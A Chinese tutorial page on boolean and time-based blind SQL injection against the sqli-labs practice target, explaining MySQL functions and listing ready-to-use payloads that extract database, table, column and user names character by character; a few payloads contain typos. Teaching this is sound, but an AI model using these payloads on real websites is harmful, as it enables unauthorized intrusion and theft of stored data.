iis服务器助手广告广告
返回顶部
首页 > 资讯 > 数据库 >SQL bool盲注和时间盲注详解
  • 503
分享到

SQL bool盲注和时间盲注详解

SQL bool盲注sql时间盲注 2022-07-22 10:07:14 503人浏览 独家记忆
摘要

目录一、bool盲注和时间盲注常用函数二、bool盲注和时间盲注payload1、sql注入点探测2、猜解数据库名3、猜解表名4、猜解字段名5、猜解数据今天继续给大家介绍linux运维相关知识,本文主要内容是SQL bo

今天继续给大家介绍linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试

一、bool盲注和时间盲注常用函数

1、休眠函数
sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。
2、字符串截取函数
字符串截取函数是bool盲注和时间盲注中都需要使用的函数。常用的字符串截取函数有mid()、substr()、left()。
mid()函数格式为:

mid(【目标字段】,【开始的位置】,【截取长度】)

其中,开始的位置默认从1开始。
substr()函数的用法与mid相似,left函数则默认从字段的最左边开始截取,其格式为:

left(【目标字段】,【截取长度】)

表示从目标字段的左边开始截取指定长度的字符。
3、字符串长度函数
字符串长度函数length()会应用在SQL bool盲注和时间盲注中,length()函数可以反馈目标字符串的长度。
4、ascii码转换函数
ascii码转换函数可以将一个字符转换成ascii码,在SQL基于时间的盲注和基于bool的盲注中,ascii码转换函数可以将一个字符转换成其ascii码值。常用的ascii码转换函数为ascii()、ord()。
5、条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:

if(【条件】,【值1】,【值2】)

当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.

二、bool盲注和时间盲注payload

1、SQL注入点探测

我们使用sqli_lab的靶场,对基于bool的盲注和基于时间的盲注进行讲解,在sqli_lab靶场中,基于bool的盲注是第8关,基于时间的盲注是第9关,页面如下所示:

SQL bool盲注和时间盲注详解

对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and 1=2#

如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and sleep(10)#

如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。

2、猜解数据库

bool类型的盲注猜解数据库长度payload如下所示:

id=1'and length(database())>10#

时间类型的盲注猜解数据库长度payload如下所示:

id=1'and sleep(if(length(database())>10,10,1))>10#

bool类型的盲注猜解数据库名称payload如下所示:

id=1'and ascii(mid(database(),1,1))>115#

时间类型的盲注猜解数据库名称payload如下所示:

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#

上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。

3、猜解表名

bool类型的盲注表名个数猜解payload如下所示:

id=1'and (select count(*) from infORMation_schema.tables where table_schema=database())>2#

时间类型的盲注表名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#

bool类型的盲注表名猜解payload如下所示:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

时间类型的盲注表名猜解payload如下所示:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。

4、猜解字段名

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

其原理与之前类似。

5、猜解数据

bool类型的盲注数据长度猜解payload如下所示:

id=1'and (select count(*) from users)>1#

时间类型的盲注数据长度猜解payload如下所示:

id=1'and sleep(if((select count(*) from users)>1,10,1))#

bool类型的盲注数据猜解payload如下所示:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

时间类型的盲注数据猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

到此这篇关于SQL bool盲注和时间盲注详解的文章就介绍到这了,更多相关SQL bool盲注和时间盲注内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

您可能感兴趣的文档:

--结束END--

本文标题: SQL bool盲注和时间盲注详解

本文链接: https://www.lsjlt.com/news/33427.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • SQL bool盲注和时间盲注详解
    目录一、bool盲注和时间盲注常用函数二、bool盲注和时间盲注payload1、SQL注入点探测2、猜解数据库名3、猜解表名4、猜解字段名5、猜解数据今天继续给大家介绍Linux运...
    99+
    2024-04-02
  • SQL注入中布尔盲注的示例讲解
    这篇文章主要介绍“SQL注入中布尔盲注的示例讲解”,在日常操作中,相信很多人在SQL注入中布尔盲注的示例讲解问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”SQL注入中布尔盲注...
    99+
    2024-04-02
  • SQL注入之盲注怎么实现
    这篇文章主要介绍“SQL注入之盲注怎么实现”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入之盲注怎么实现”文章能帮助大家解决问题。sql注入——盲注1.回顾...
    99+
    2024-04-02
  • SQL盲注的类型有哪些
    SQL盲注是一种利用应用程序对SQL语句的处理不当而进行的攻击。根据攻击者能否获取到数据库返回的具体错误信息,SQL盲注可以分为两个...
    99+
    2023-08-23
    SQL
  • SQL盲注工具BBQSQL有什么用
    小编给大家分享一下SQL盲注工具BBQSQL有什么用,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL盲注工具BBQSQLSQL注入是将SQL命令插入到表单、域...
    99+
    2023-06-04
  • SQL注入篇学习之盲注/宽字节注入
    目录盲注布尔盲注时间盲注盲注函数length() 函数 返回字符串的长度演示语句burp抓包演示宽字节注入php魔术函数开启方式开启效果作用绕过方法宽字节注入总结 盲注 有...
    99+
    2024-04-02
  • MySQL时间盲注的五种延时方法实现
    MySQL时间盲注五种延时方法 (PWNHUB 非预期解) 延时注入函数 五种:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则 sl...
    99+
    2024-04-02
  • MySQL之延时注入(3分钟搞懂盲注思路)
    延时(时间)注入(盲注) 任务:sqli_labs第9关,通过延时注入,获取版本号 思路 通过单引号,双引号判断字符类型,再观察是否有回显,发现没有回显,而且页面也没有其他变化,看上去似乎是静态页面。...
    99+
    2023-09-13
    mysql 数据库 延时注入 web渗透 网路安全
  • SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析
    小编给大家分享一下SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1.联合查询显...
    99+
    2024-04-02
  • SQL注入详解
    本文首发于:行者AI 现在大多数系统都使用B/S架构,出于安全考虑需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往会出现...
    99+
    2023-09-05
    sql 数据库 php
  • 【SQL注入详解】
    文章目录 前言题目1.SQL注入原理,危害,类型,防护措施,绕过方式,写入webshell的前提条件原理:危害:类型:1.union联合注入2.报错注入3.布尔盲注4.时间盲注5.二...
    99+
    2023-09-05
    sql 数据库 安全 php web安全
  • Mybatis-plus sql注入及防止sql注入详解
    目录一、SQL注入是什么?二、mybatis是如何做到防止sql注入的1. #{} 和 ${} 两者的区别2.PreparedStatement和Statement的区别3.什么是预...
    99+
    2022-11-13
    mybatis-plus sql注入 mybatis-plus防止sql注入
  • Mybatis详解在注解sql时报错的解决方法
    目录错误:文件结构BookMapper.javaBookMapperSQL .javaMybatis的配置文件分析:错误: 在做Mybatis用注解方式来注入sql的练习时,报了这样...
    99+
    2024-04-02
  • Mybatis常用注解中的SQL注入实例详解
    目录前言常见注入场景2.1普通注解2.2 动态sql2.2.1 使用< script>2.2.2 使用Provider注解总结前言 MyBatis3提供了新的基于注解的配...
    99+
    2024-04-02
  • mybatis注解动态sql注入map和list方式(防sql注入攻击)
    目录网上的教程我的教程(防sql注入攻击)注入Map注入List封装foreachmybatis防止sql注入的循环map写法网上的教程 配置xml 注解中写xml...
    99+
    2024-04-02
  • @DateTimeFormat 和 @JsonFormat 注解详解
    这一篇文章足以让你对Java当中Date时间上的理解更上一层楼,本篇文章主要通过代码的形式来进行试验,彻彻底底搞明白日期传参,以及日期返回参数的格式相关问题,每一个步骤都会记得特别详细! 本篇文...
    99+
    2023-10-08
    mybatis java spring boot 日期
  • SQL注入详解及防范方法
    目录一:什么是sql注入二:SQL注入攻击的总体思路 三:SQL注入攻击实例四:如何防御SQL注入1、检查变量数据类型和格式2、过滤特殊符号3、绑定变量,使用预编译语句  五:什么是...
    99+
    2024-04-02
  • sql获得当前时间以及SQL比较时间大小详解
    目录1. MySQL2.Oracle比较字符串类型的时间大小总结1. MySQL 1) MySQL中提供了NOW()函数,用于取得当前的日期时间,NOW()汗水、SYSDATE()、...
    99+
    2024-04-02
  • EasyExcel格式化映射注解和样式注解详解
    一、概述 使用注解很简单,只要在对应的实体类上面加上注解即可。 也就是说使用实体类模型来读写Excel文件时,可以通过注解来控制实体类字段和Excel列之间的对应关系。 二、ExcelProperty 2.1 作用 ExcelPropert...
    99+
    2023-08-21
    excel java 开发语言
  • redis注解设置缓存过期时间
    如何在使用 redis 注解时设置缓存过期时间?导入 redis 依赖项。使用 @cacheable 和 @cacheput 注解的 ttl 属性。ttl 属性指定缓存的过期时间,单位为...
    99+
    2024-04-19
    redis
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作